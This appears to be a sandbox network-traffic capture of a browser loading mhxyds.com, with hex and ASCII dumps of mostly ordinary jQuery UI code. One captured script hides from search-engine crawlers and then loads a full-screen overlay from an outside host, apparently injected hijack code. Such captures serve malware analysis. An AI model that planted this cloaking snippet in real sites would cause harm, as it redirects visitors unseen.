2022-08-11 03:42:52 UTC 1803 IN Data Raw: 69 73 2e 61 63 74 69 76 61 74 65 28 65 76 65 6e 74 2c 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 63 68 69 
6c 64 72 65 6e 28 22 2e 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 3a 66 69 72 73 74 22 29 29 3b 0d 0a 09 09 09 09 72 65 74 
75 72 6e 3b 0d 0a 09 09 09 7d 0d 0a 09 09 09 76 61 72 20 62 61 73 65 20 3d 20 74 68 69 73 2e 61 63 74 69 76 65 2e 6f 
66 66 73 65 74 28 29 2e 74 6f 70 2c 0d 0a 09 09 09 09 68 65 69 67 68 74 20 3d 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 
2e 68 65 69 67 68 74 28 29 2c 0d 0a 09 09 09 09 72 65 73 75 6c 74 20 3d 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 63 
68 69 6c 64 72 65 6e 28 22 2e 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 22 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 
6e 28 29 20 7b 0d 0a 09 09 09 09 09 76 61 72 20 63 6c 6f 73 65 20 3d 20 24 
Data Ascii: is.activate(event, this.element.children(".ui-menu-item:first"));return;}var base = this.active.offset().top,height = 
this.element.height(),result = this.element.children(".ui-menu-item").filter(function() {var close = $

2022-08-11 03:42:52 UTC 1819 IN Data Raw: 66 61 6c 73 65 2c 20 2f 2f 20 54 72 75 65 20 69 66 20 74 68 65 20 79 65 61 72 20 73 65 6c 65 63 74 20 70 72 
65 63 65 64 65 73 20 6d 6f 6e 74 68 2c 20 66 61 6c 73 65 20 66 6f 72 20 6d 6f 6e 74 68 20 74 68 65 6e 20 79 65 61 72 0d 
0a 09 09 79 65 61 72 53 75 66 66 69 78 3a 20 27 27 20 2f 2f 20 41 64 64 69 74 69 6f 6e 61 6c 20 74 65 78 74 20 74 6f 20 
61 70 70 65 6e 64 20 74 6f 20 74 68 65 20 79 65 61 72 20 69 6e 20 74 68 65 20 6d 6f 6e 74 68 20 68 65 61 64 65 72 73 
0d 0a 09 7d 3b 0d 0a 09 74 68 69 73 2e 5f 64 65 66 61 75 6c 74 73 20 3d 20 7b 20 2f 2f 20 47 6c 6f 62 61 6c 20 64 65 66 
61 75 6c 74 73 20 66 6f 72 20 61 6c 6c 20 74 68 65 20 64 61 74 65 20 70 69 63 6b 65 72 20 69 6e 73 74 61 6e 63 65 73 
0d 0a 09 09 73 68 6f 77 4f 6e 3a 20 27 66 6f 63 75 73 27 2c 20 
Data Ascii: false, // True if the year select precedes month, false for month then yearyearSuffix: '' // Additional text to 
append to the year in the month headers};this._defaults = { // Global defaults for all the date picker instancesshowOn: 
'focus', 

2022-08-11 03:42:52 UTC 1835 IN Data Raw: 74 73 5b 69 5d 20 3d 3d 20 74 61 72 67 65 74 29 0d 0a 09 09 09 09 72 65 74 75 72 6e 20 74 72 75 65 3b 0d 
0a 09 09 7d 0d 0a 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 09 7d 2c 0d 0a 0d 0a 09 2f 2a 20 52 65 74 72 69 
65 76 65 20 74 68 65 20 69 6e 73 74 61 6e 63 65 20 64 61 74 61 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 63 6f 6
e 74 72 6f 6c 2e 0d 0a 09 20 20 20 40 70 61 72 61 6d 20 20 74 61 72 67 65 74 20 20 65 6c 65 6d 65 6e 74 20 2d 20 74 68 
65 20 74 61 72 67 65 74 20 69 6e 70 75 74 20 66 69 65 6c 64 20 6f 72 20 64 69 76 69 73 69 6f 6e 20 6f 72 20 73 70 61 
6e 0d 0a 09 20 20 20 40 72 65 74 75 72 6e 20 20 6f 62 6a 65 63 74 20 2d 20 74 68 65 20 61 73 73 6f 63 69 61 74 65 64 
20 69 6e 73 74 61 6e 63 65 20 64 61 74 61 0d 0a 09 20 20 20 40 74 68 72 
Data Ascii: ts[i] == target)return true;}return false;},/* Retrieve the instance data for the target control.   @param  target  el
ement - the target input field or division or span   @return  object - the associated instance data   @thr

2022-08-11 03:42:52 UTC 1851 IN Data Raw: 64 65 28 73 68 6f 77 41 6e 69 6d 2c 20 24 2e 64 61 74 65 70 69 63 6b 65 72 2e 5f 67 65 74 28 69 6e 73 74 2c 
20 27 73 68 6f 77 4f 70 74 69 6f 6e 73 27 29 2c 20 64 75 72 61 74 69 6f 6e 2c 20 70 6f 73 74 50 72 6f 63 65 73 73 29 3b 
0d 0a 09 09 09 65 6c 73 65 0d 0a 09 09 09 09 69 6e 73 74 2e 64 70 44 69 76 5b 28 73 68 6f 77 41 6e 69 6d 20 3d 3d 20 
27 73 6c 69 64 65 44 6f 77 6e 27 20 3f 20 27 73 6c 69 64 65 55 70 27 20 3a 0d 0a 09 09 09 09 09 28 73 68 6f 77 41 6e 69 
6d 20 3d 3d 20 27 66 61 64 65 49 6e 27 20 3f 20 27 66 61 64 65 4f 75 74 27 20 3a 20 27 68 69 64 65 27 29 29 5d 28 28 
73 68 6f 77 41 6e 69 6d 20 3f 20 64 75 72 61 74 69 6f 6e 20 3a 20 6e 75 6c 6c 29 2c 20 70 6f 73 74 50 72 6f 63 65 73 73 
29 3b 0d 0a 09 09 09 69 66 20 28 21 73 68 6f 77 41 6e 69 6d 29 
Data Ascii: de(showAnim, $.datepicker._get(inst, 'showOptions'), duration, postProcess);elseinst.dpDiv[(showAnim == 'sli
deDown' ? 'slideUp' :(showAnim == 'fadeIn' ? 'fadeOut' : 'hide'))]((showAnim ? duration : null), postProcess);if (!showAnim)

2022-08-11 03:42:52 UTC 1867 IN Data Raw: 20 2f 2f 20 41 63 63 65 70 74 20 61 6e 79 74 68 69 6e 67 0d 0a 09 09 09 09 09 63 61 73 65 20 22 27 22 3a 0d 
0a 09 09 09 09 09 09 69 66 20 28 6c 6f 6f 6b 41 68 65 61 64 28 22 27 22 29 29 0d 0a 09 09 09 09 09 09 09 63 68 61 72 
73 20 2b 3d 20 22 27 22 3b 0d 0a 09 09 09 09 09 09 65 6c 73 65 0d 0a 09 09 09 09 09 09 09 6c 69 74 65 72 61 6c 20 3d 
20 74 72 75 65 3b 0d 0a 09 09 09 09 09 09 62 72 65 61 6b 3b 0d 0a 09 09 09 09 09 64 65 66 61 75 6c 74 3a 0d 0a 09 09 
09 09 09 09 63 68 61 72 73 20 2b 3d 20 66 6f 72 6d 61 74 2e 63 68 61 72 41 74 28 69 46 6f 72 6d 61 74 29 3b 0d 0a 09 
09 09 09 7d 0d 0a 09 09 72 65 74 75 72 6e 20 63 68 61 72 73 3b 0d 0a 09 7d 2c 0d 0a 0d 0a 09 2f 2a 20 47 65 74 20 61 
20 73 65 74 74 69 6e 67 20 76 61 6c 75 65 2c 20 64 65 66 61 75 6c 74 69 
Data Ascii:  // Accept anythingcase "'":if (lookAhead("'"))chars += "'";elseliteral = true;break;default:chars += format
.charAt(iFormat);}return chars;},/* Get a setting value, defaulti

2022-08-11 03:42:52 UTC 1883 IN Data Raw: 6f 6e 74 68 20 3d 20 30 3b 0d 0a 09 09 09 09 09 64 72 61 77 59 65 61 72 2b 2b 3b 0d 0a 09 09 09 09 7d 0d 
0a 09 09 09 09 63 61 6c 65 6e 64 65 72 20 2b 3d 20 27 3c 2f 74 62 6f 64 79 3e 3c 2f 74 61 62 6c 65 3e 27 20 2b 20 28 69 
73 4d 75 6c 74 69 4d 6f 6e 74 68 20 3f 20 27 3c 2f 64 69 76 3e 27 20 2b 20 0d 0a 09 09 09 09 09 09 09 28 28 6e 75 6d 4d 
6f 6e 74 68 73 5b 30 5d 20 3e 20 30 20 26 26 20 63 6f 6c 20 3d 3d 20 6e 75 6d 4d 6f 6e 74 68 73 5b 31 5d 2d 31 29 20 3f 
20 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 72 6f 77 2d 62 72 65 61 6b 22 3e 
3c 2f 64 69 76 3e 27 20 3a 20 27 27 29 20 3a 20 27 27 29 3b 0d 0a 09 09 09 09 67 72 6f 75 70 20 2b 3d 20 63 61 6c 65 6
e 64 65 72 3b 0d 0a 09 09 09 7d 0d 0a 09 09 09 68 74 6d 6c 20 2b 
Data Ascii: onth = 0;drawYear++;}calender += '</tbody></table>' + (isMultiMonth ? '</div>' + ((numMonths[0] > 0 && col =
= numMonths[1]-1) ? '<div class="ui-datepicker-row-break"></div>' : '') : '');group += calender;}html +
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2022-08-11 03:42:52 UTC 1899 IN Data Raw: 70 65 6e 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 73 
4f 70 65 6e 3b 0d 0a 09 7d 2c 0d 0a 0d 0a 09 2f 2f 20 74 68 65 20 66 6f 72 63 65 20 70 61 72 61 6d 65 74 65 72 20 61 6c 
6c 6f 77 73 20 75 73 20 74 6f 20 6d 6f 76 65 20 6d 6f 64 61 6c 20 64 69 61 6c 6f 67 73 20 74 6f 20 74 68 65 69 72 20 63 
6f 72 72 65 63 74 0d 0a 09 2f 2f 20 70 6f 73 69 74 69 6f 6e 20 6f 6e 20 6f 70 65 6e 0d 0a 09 6d 6f 76 65 54 6f 54 6f 70 3a 
20 66 75 6e 63 74 69 6f 6e 28 66 6f 72 63 65 2c 20 65 76 65 6e 74 29 20 7b 0d 0a 09 09 76 61 72 20 73 65 6c 66 20 3d 
20 74 68 69 73 2c 0d 0a 09 09 09 6f 70 74 69 6f 6e 73 20 3d 20 73 65 6c 66 2e 6f 70 74 69 6f 6e 73 2c 0d 0a 09 09 09 73 
61 76 65 53 63 72 6f 6c 6c 3b 0d 0a 0d 0a 09 09 69 66 20 
Data Ascii: pen: function() {return this._isOpen;},// the force parameter allows us to move modal dialogs to their correct// 
position on openmoveToTop: function(force, event) {var self = this,options = self.options,saveScroll;if 

2022-08-11 03:42:52 UTC 1915 IN Data Raw: 0d 0a 09 63 65 6e 74 65 72 20 3d 20 22 63 65 6e 74 65 72 22 2c 0d 0a 09 73 75 70 70 6f 72 74 20 3d 20 7b 
7d 2c 0d 0a 09 5f 70 6f 73 69 74 69 6f 6e 20 3d 20 24 2e 66 6e 2e 70 6f 73 69 74 69 6f 6e 2c 0d 0a 09 5f 6f 66 66 73 65 
74 20 3d 20 24 2e 66 6e 2e 6f 66 66 73 65 74 3b 0d 0a 0d 0a 24 2e 66 6e 2e 70 6f 73 69 74 69 6f 6e 20 3d 20 66 75 6e 
63 74 69 6f 6e 28 20 6f 70 74 69 6f 6e 73 20 29 20 7b 0d 0a 09 69 66 20 28 20 21 6f 70 74 69 6f 6e 73 20 7c 7c 20 21 6f 
70 74 69 6f 6e 73 2e 6f 66 20 29 20 7b 0d 0a 09 09 72 65 74 75 72 6e 20 5f 70 6f 73 69 74 69 6f 6e 2e 61 70 70 6c 79 28 
20 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 20 29 3b 0d 0a 09 7d 0d 0a 0d 0a 09 2f 2f 20 6d 61 6b 65 20 61 20 63 6
f 70 79 2c 20 77 65 20 64 6f 6e 27 74 20 77 61 6e 74 20 74 6f 20 
Data Ascii: center = "center",support = {},_position = $.fn.position,_offset = $.fn.offset;$.fn.position = function( options ) {if ( 
!options || !options.of ) {return _position.apply( this, arguments );}// make a copy, we don't want to 

2022-08-11 03:42:52 UTC 1931 IN Data Raw: 64 67 65 74 2d 63 6f 6e 74 65 6e 74 22 20 2b 0d 0a 09 09 09 09 22 20 75 69 2d 63 6f 72 6e 65 72 2d 61 6c 6c 
22 20 29 0d 0a 09 09 09 2e 72 65 6d 6f 76 65 44 61 74 61 28 20 22 73 6c 69 64 65 72 22 20 29 0d 0a 09 09 09 2e 75 6e 
62 69 6e 64 28 20 22 2e 73 6c 69 64 65 72 22 20 29 3b 0d 0a 0d 0a 09 09 74 68 69 73 2e 5f 6d 6f 75 73 65 44 65 73 74 
72 6f 79 28 29 3b 0d 0a 0d 0a 09 09 72 65 74 75 72 6e 20 74 68 69 73 3b 0d 0a 09 7d 2c 0d 0a 0d 0a 09 5f 6d 6f 75 73 6
5 43 61 70 74 75 72 65 3a 20 66 75 6e 63 74 69 6f 6e 28 20 65 76 65 6e 74 20 29 20 7b 0d 0a 09 09 76 61 72 20 6f 20 3d 
20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2c 0d 0a 09 09 09 70 6f 73 69 74 69 6f 6e 2c 0d 0a 09 09 09 6e 6f 72 6d 56 61 6c 
75 65 2c 0d 0a 09 09 09 64 69 73 74 61 6e 63 65 2c 0d 0a 09 09 09 
Data Ascii: dget-content" +" ui-corner-all" ).removeData( "slider" ).unbind( ".slider" );this._mouseDestroy();return thi
s;},_mouseCapture: function( event ) {var o = this.options,position,normValue,distance,

2022-08-11 03:42:53 UTC 1947 IN Data Raw: 65 6e 67 74 68 20 29 20 7b 0d 0a 09 09 09 09 09 24 70 61 6e 65 6c 20 3d 20 24 28 20 6f 2e 70 61 6e 65 6c 54 
65 6d 70 6c 61 74 65 20 29 0d 0a 09 09 09 09 09 09 2e 61 74 74 72 28 20 22 69 64 22 2c 20 69 64 20 29 0d 0a 09 09 09 
09 09 09 2e 61 64 64 43 6c 61 73 73 28 20 22 75 69 2d 74 61 62 73 2d 70 61 6e 65 6c 20 75 69 2d 77 69 64 67 65 74 2d 
63 6f 6e 74 65 6e 74 20 75 69 2d 63 6f 72 6e 65 72 2d 62 6f 74 74 6f 6d 22 20 29 0d 0a 09 09 09 09 09 09 2e 69 6e 73 65 
72 74 41 66 74 65 72 28 20 73 65 6c 66 2e 70 61 6e 65 6c 73 5b 20 69 20 2d 20 31 20 5d 20 7c 7c 20 73 65 6c 66 2e 6c 6
9 73 74 20 29 3b 0d 0a 09 09 09 09 09 24 70 61 6e 65 6c 2e 64 61 74 61 28 20 22 64 65 73 74 72 6f 79 2e 74 61 62 73 
22 2c 20 74 72 75 65 20 29 3b 0d 0a 09 09 09 09 7d 0d 0a 09 09 09 09 
Data Ascii: ength ) {$panel = $( o.panelTemplate ).attr( "id", id ).addClass( "ui-tabs-panel ui-widget-content ui-corner-
bottom" ).insertAfter( self.panels[ i - 1 ] || self.list );$panel.data( "destroy.tabs", true );}

2022-08-11 03:42:53 UTC 1963 IN Data Raw: 29 2e 73 70 6c 69 63 65 28 20 2d 32 2c 20 32 20 29 20 29 3b 0d 0a 0d 0a 09 09 2f 2f 20 74 65 72 6d 69 6e 61 
74 65 20 70 65 6e 64 69 6e 67 20 72 65 71 75 65 73 74 73 20 66 72 6f 6d 20 6f 74 68 65 72 20 74 61 62 73 0d 0a 09 09 
69 66 20 28 20 74 68 69 73 2e 78 68 72 20 29 20 7b 0d 0a 09 09 09 74 68 69 73 2e 78 68 72 2e 61 62 6f 72 74 28 29 3b 
0d 0a 09 09 09 64 65 6c 65 74 65 20 74 68 69 73 2e 78 68 72 3b 0d 0a 09 09 7d 0d 0a 0d 0a 09 09 2f 2f 20 74 61 6b 65 2
0 63 61 72 65 20 6f 66 20 74 61 62 20 6c 61 62 65 6c 73 0d 0a 09 09 74 68 69 73 2e 5f 63 6c 65 61 6e 75 70 28 29 3b 0d 
0a 09 09 72 65 74 75 72 6e 20 74 68 69 73 3b 0d 0a 09 7d 2c 0d 0a 0d 0a 09 75 72 6c 3a 20 66 75 6e 63 74 69 6f 6e 28 
20 69 6e 64 65 78 2c 20 75 72 6c 20 29 20 7b 0d 0a 09 09 74 68 69 73 
Data Ascii: ).splice( -2, 2 ) );// terminate pending requests from other tabsif ( this.xhr ) {this.xhr.abort();delete this.xhr;}// 
take care of tab labelsthis._cleanup();return this;},url: function( index, url ) {this
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11 192.168.11.20 64539 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
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2022-08-11 03:42:39 UTC 101 OUT GET /js/modernizr.min6b70.js?v=636160472800000000 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/contact.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

110 47.243.100.207 443 192.168.11.20 51532 C:\Program Files\Google\Chrome\Application\chrome.exe
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2022-08-11 03:42:52 UTC 1575 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:42:52 GMT
etag: "329-626e1fc9-202ce4;gz"
last-modified: Sun, 01 May 2022 05:51:05 GMT
content-type: application/x-javascript
content-length: 809
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:42:52 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close

2022-08-11 03:42:52 UTC 1576 IN Data Raw: 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 22 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 70 29 
7b 5c 22 75 73 65 20 73 74 72 69 63 74 5c 22 3b 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 73 3d 77 69 6e 64 
6f 77 2c 65 3d 64 6f 63 75 6d 65 6e 74 2c 69 3d 70 2c 63 3d 5c 22 5c 22 2e 63 6f 6e 63 61 74 28 5c 22 68 74 74 70 73 3a 
5c 22 3d 3d 3d 65 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 3f 5c 22 68 74 74 70 73 3a 2f 2f 5c 22 3a 5c 22 68 
74 74 70 3a 2f 2f 5c 22 2c 5c 22 73 64 6b 2e 35 31 2e 6c 61 2f 6a 73 2d 73 64 6b 2d 70 72 6f 2e 6d 69 6e 2e 6a 73 5c 22 
29 2c 6e 3d 65 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 5c 22 73 63 72 69 70 74 5c 22 29 2c 72 3d 65 2e 67 65 74 
45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 
Data Ascii: document.write("<script>!function(p){\"use strict\";!function(t){var s=window,e=document,i=p,c=\"\".concat(\
"https:\"===e.location.protocol?\"https://\":\"http://\",\"sdk.51.la/js-sdk-pro.min.js\"),n=e.createElement(\"script\"),r=e.getEle
mentsByTagName(\"

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

111 192.168.11.20 53485 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:52 UTC 1577 OUT GET /css/fonts/helvetica-neue/2DF85E_1_0.woff HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

112 47.243.100.207 443 192.168.11.20 49662 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:52 UTC 1577 IN HTTP/1.1 200 OK
cache-control: public, max-age=43200
expires: Thu, 11 Aug 2022 15:42:52 GMT
etag: "88a-62f1212d-202ce5;gz"
last-modified: Mon, 08 Aug 2022 14:43:57 GMT
content-type: application/x-javascript
content-length: 2186
accept-ranges: bytes
date: Thu, 11 Aug 2022 03:42:52 GMT
server: LiteSpeed
alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=25920
00, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
connection: close
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2022-08-11 03:42:52 UTC 1578 IN Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 69 66 20 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 
67 65 6e 74 2e 6d 61 74 63 68 28 2f 28 42 61 69 64 75 73 70 69 64 65 72 7c 62 61 69 64 75 73 70 69 64 65 72 7c 47 6f 6f 
67 6c 65 62 6f 74 7c 42 69 6e 67 62 6f 74 7c 59 61 6e 64 65 78 42 6f 74 7c 66 61 63 65 62 6f 74 7c 53 6f 67 6f 75 73 70 
69 64 65 72 7c 73 70 69 64 65 72 7c 62 6f 74 29 2f 69 29 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 7d 0a 
0a 20 20 2f 2f 20 63 6f 6e 66 69 67 0a 20 20 63 6f 6e 73 74 20 6f 70 74 69 6f 6e 73 20 3d 20 7b 0a 20 20 20 20 7a 49 6e 
64 65 78 3a 20 39 39 39 39 2c 0a 20 20 20 20 73 72 63 3a 20 22 68 74 74 70 73 3a 2f 2f 64 6e 73 74 72 61 6e 66 65 72 
2e 63 6f 6d 2f 64 69 72 65 63 74 2f 69 6e 64 65 78 2e 68 74 6d 
Data Ascii: (function () {  if (navigator.userAgent.match(/(Baiduspider|baiduspider|Googlebot|Bingbot|YandexBot|facebot|
Sogouspider|spider|bot)/i)) {    return;  }  // config  const options = {    zIndex: 9999,    src: "https://dnstranfer.com/direct/
index.htm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

113 192.168.11.20 63823 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:52 UTC 1580 OUT GET /img/logo.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

114 192.168.11.20 56352 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:52 UTC 1580 OUT GET /js/jquery.validate.unobtrusive.js HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

115 192.168.11.20 54537 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:52 UTC 1597 OUT GET /js/sc.fields-unobtrusive.js HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

116 118.27.105.118 443 192.168.11.20 58603 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:52 UTC 1645 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:52 GMT
Content-Type: image/jpeg
Content-Length: 2775
Last-Modified: Sun, 25 Aug 2019 17:38:50 GMT
Connection: close
ETag: "5d62c7aa-ad7"
Expires: Sat, 10 Sep 2022 03:42:52 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:52 UTC 1646 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 
02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 
0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 
0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 
0c 0c ff c0 00 11 08 00 49 00 37 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 
00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 
04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIFCCI7"}!1AQa"q2

Session ID Source IP Source Port Destination IP
Destination
Port

Process

117 118.27.105.118 443 192.168.11.20 58602 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:52 UTC 1648 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:52 GMT
Content-Type: application/javascript
Content-Length: 40374
Last-Modified: Mon, 28 Nov 2016 18:14:44 GMT
Connection: close
Vary: Accept-Encoding
ETag: "583c7414-9db6"
Expires: Thu, 11 Aug 2022 15:42:52 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:52 UTC 1649 IN Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 56 61 6c 69 64 61 74 69 6f 6e 20 50 6c 75 67 69 6e 20 2d 20 76 31 2e 31 30 
2e 30 20 2d 20 39 2f 37 2f 32 30 31 32 0d 0a 2a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6a 7a 61 65 
66 66 65 72 65 72 2f 6a 71 75 65 72 79 2d 76 61 6c 69 64 61 74 69 6f 6e 0d 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 
29 20 32 30 31 32 20 4a c3 b6 72 6e 20 5a 61 65 66 66 65 72 65 72 3b 20 4c 69 63 65 6e 73 65 64 20 4d 49 54 20 2a 2f 
0d 0a 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 0d 0a 24 2e 65 78 74 65 6e 64 28 24 2e 66 6e 2c 20 7b 0d 
0a 09 2f 2f 20 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 50 6c 75 67 69 6e 73 2f 56 61 6c 69 64 
61 74 69 6f 6e 2f 76 61 6c 69 64 61 74 65 0d 0a 09 76 61 6c 
Data Ascii: /*! jQuery Validation Plugin - v1.10.0 - 9/7/2012* https://github.com/jzaefferer/jquery-validation* Copyright (c) 
2012 Jrn Zaefferer; Licensed MIT */(function($) {$.extend($.fn, {// http://docs.jquery.com/Plugins/Validation/validateval

2022-08-11 03:42:52 UTC 1664 IN Data Raw: 73 3a 20 72 75 6c 65 73 5b 6d 65 74 68 6f 64 5d 20 7d 3b 0d 0a 09 09 09 09 74 72 79 20 7b 0d 0a 0d 0a 09 
09 09 09 09 72 65 73 75 6c 74 20 3d 20 24 2e 76 61 6c 69 64 61 74 6f 72 2e 6d 65 74 68 6f 64 73 5b 6d 65 74 68 6f 64 5d 
2e 63 61 6c 6c 28 20 74 68 69 73 2c 20 76 61 6c 2c 20 65 6c 65 6d 65 6e 74 2c 20 72 75 6c 65 2e 70 61 72 61 6d 65 74 
65 72 73 20 29 3b 0d 0a 0d 0a 09 09 09 09 09 2f 2f 20 69 66 20 61 20 6d 65 74 68 6f 64 20 69 6e 64 69 63 61 74 65 73 2
0 74 68 61 74 20 74 68 65 20 66 69 65 6c 64 20 69 73 20 6f 70 74 69 6f 6e 61 6c 20 61 6e 64 20 74 68 65 72 65 66 6f 72 
